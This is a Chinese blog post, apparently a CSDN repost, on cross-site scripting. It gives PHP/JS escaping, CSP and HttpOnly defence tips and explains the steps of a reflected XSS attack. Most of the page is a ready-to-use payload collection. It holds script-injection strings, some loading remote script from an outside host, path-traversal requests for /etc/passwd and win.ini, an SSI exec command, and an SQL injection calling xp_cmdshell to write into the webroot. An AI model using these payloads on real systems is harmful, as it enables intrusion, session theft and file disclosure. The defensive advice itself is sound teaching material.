xss攻击和防范

转载:
https://www.cnblogs.com/54chensongxia/p/11643787.html
https://blog.csdn.net/qw_xingzhe/article/details/80712840

防御:

A.PHP直接输出html的,可以采用以下的方法进行过滤:

1.htmlspecialchars函数
2.htmlentities函数
3.HTMLPurifier.auto.php插件
4.RemoveXss函数

B.PHP输出到JS代码中,或者开发Json API的,则需要前端在JS中进行过滤:

1.尽量使用innerText(IE)和textContent(Firefox),也就是jQuery的text()来输出文本内容
2.必须要用innerHTML等等函数,则需要做类似php的htmlspecialchars的过滤

C.其它的通用的补充性防御手段

1.在输出html时,加上Content Security Policy的Http Header
(作用:可以防止页面被XSS攻击时,嵌入第三方的脚本文件等)
(缺陷:IE或低版本的浏览器可能不支持)
2.在设置Cookie时,加上HttpOnly参数
(作用:可以防止页面被XSS攻击时,Cookie信息被盗取,可兼容至IE6)
(缺陷:网站本身的JS代码也无法操作Cookie,而且作用有限,只能保证Cookie的安全)
3.在开发API时,检验请求的Referer参数
(作用:可以在一定程度上防止CSRF攻击)
(缺陷:IE或低版本的浏览器中,Referer参数可以被伪造)

payload大全:

'><script>alert(document.cookie)</script>
 ='><script>alert(document.cookie)</script>
 <script>alert(document.cookie)</script>
 <script>alert(vulnerable)</script>
 %3Cscript%3Ealert('XSS')%3C/script%3E
 <script>alert('XSS')</script>
 <img src="javascript:alert('XSS')">
 %0a%0a<script>alert(\"Vulnerable\")</script>.jsp
 %22%3cscript%3ealert(%22xss%22)%3c/script%3e
 %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
 %2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/windows/win.ini
 %3c/a%3e%3cscript%3ealert(%22xss%22)%3c/script%3e
 %3c/title%3e%3cscript%3ealert(%22xss%22)%3c/script%3e
 %3cscript%3ealert(%22xss%22)%3c/script%3e/index.html
 %3f.jsp
 %3f.jsp
 <script>alert('Vulnerable');</script>
 <script>alert('Vulnerable')</script>
 ?sql_debug=1
 a%5c.aspx
 a.jsp/<script>alert('Vulnerable')</script>
 a/
 a?<script>alert('Vulnerable')</script>
 "><script>alert('Vulnerable')</script>
 ';exec%20master..xp_cmdshell%20'dir%20 c:%20>%20c:\inetpub\wwwroot\?.txt'--&&
 %22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
 %3Cscript%3Ealert(document. domain);%3C/script%3E&
 %3Cscript%3Ealert(document.domain);%3C/script%3E&SESSION_ID={SESSION_ID}&SESSION_ID=
 <IMG src="javascript:alert('XSS');">
 <IMG src=javascript:alert('XSS')>
 <IMG src=JaVaScRiPt:alert('XSS')>
 <IMG src=JaVaScRiPt:alert("XSS")>
 <IMG src=javascript:alert('XSS')>
 <IMG src=javascript:alert('XSS')>
 <IMG src=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>
 <IMG src="jav ascript:alert('XSS');">
 <IMG src="jav ascript:alert('XSS');">
 <IMG src="jav ascript:alert('XSS');">
 "<IMG src=java\0script:alert(\"XSS\")>";' > out
 <IMG src=" javascript:alert('XSS');">
 <SCRIPT>a=/XSS/alert(a.source)</SCRIPT>
 <BODY BACKGROUND="javascript:alert('XSS')">
 <BODY ONLOAD=alert('XSS')>
 <IMG DYNSRC="javascript:alert('XSS')">
 <IMG LOWSRC="javascript:alert('XSS')">
 <BGSOUND src="javascript:alert('XSS');">
 <br size="&{alert('XSS')}">
 <LAYER src="http://xss.ha.ckers.org/a.js"></layer>
 <LINK REL="stylesheet" href="javascript:alert('XSS');">
 <IMG src='vbscript:msgbox("XSS")'>
 <IMG src="mocha:[code]">
 <IMG src="livescript:[code]">
 <META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');">
 <IFRAME src=javascript:alert('XSS')></IFRAME>
 <FRAMESET><FRAME src=javascript:alert('XSS')></FRAME></FRAMESET>
 <TABLE BACKGROUND="javascript:alert('XSS')">
 <DIV STYLE="background-image: url(javascript:alert('XSS'))">
 <DIV STYLE="behaviour: url('http://www.how-to-hack.org/exploit.html');">
 <DIV STYLE="width: expression(alert('XSS'));">
 <STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>
 <IMG STYLE='xss:expre\ssion(alert("XSS"))'>
 <STYLE TYPE="text/javascript">alert('XSS');</STYLE>
 <STYLE TYPE="text/css">.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A class="XSS"></A>
 <STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>
 <BASE href="javascript:alert('XSS');//">
 getURL("javascript:alert('XSS')")
 a="get";b="URL";c="javascript:";d="alert('XSS');";eval(a+b+c+d);
 <XML src="javascript:alert('XSS');">
 "> <BODY ONLOAD="a();"><SCRIPT>function a(){alert('XSS');}</SCRIPT><"
 <SCRIPT src="http://xss.ha.ckers.org/xss.jpg"></SCRIPT>
 <IMG src="javascript:alert('XSS')"
 <!--#exec cmd="/bin/echo '<SCRIPT SRC'"--><!--#exec cmd="/bin/echo '=http://xss.ha.ckers.org/a.js></SCRIPT>'"-->
 <IMG src="http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode">
 <SCRIPT a=">" src="http://xss.ha.ckers.org/a.js"></SCRIPT>
 <SCRIPT =">" src="http://xss.ha.ckers.org/a.js"></SCRIPT>
 <SCRIPT a=">" '' src="http://xss.ha.ckers.org/a.js"></SCRIPT>
 <SCRIPT "a='>'" src="http://xss.ha.ckers.org/a.js"></SCRIPT>
 <SCRIPT>document.write("<SCRI");</SCRIPT>PT src="http://xss.ha.ckers.org/a.js"></SCRIPT>

反射型XSS的攻击步骤:

1.攻击者构造出特殊的URL,其中包含恶意代码.
2.用户打开有恶意代码的URL时,网站服务器端将恶意代码从URL取出,拼接在HTML返回给浏览器.
3.用户浏览器接收到响应后解析执行,混在其中的恶意代码也会被执行。
4.恶意代码窃取用户数据并发送到攻击者的网站,或者冒充用户行为,调用目标网站接口执行攻击者指定的操作。

请添加图片描述

防御反射型XSS攻击:

1.对输入检查:
对请求参数进行检查,一旦发现可疑的特殊字符就拒绝请求。需要注意的是用户可以绕过浏览器的检查,直接通过Postman等工具进行请求,所以这个检查最好前后端都做。

2.对输出进行转义再显示:
通过上面的介绍可以看出,反射型XSS攻击要进行攻击的话需要在前端页面进行显示。所以在输出数据之前对潜在的威胁的字符进行编码、转义也是防御XSS攻击十分有效的措施。比如下面的方式:

请添加图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值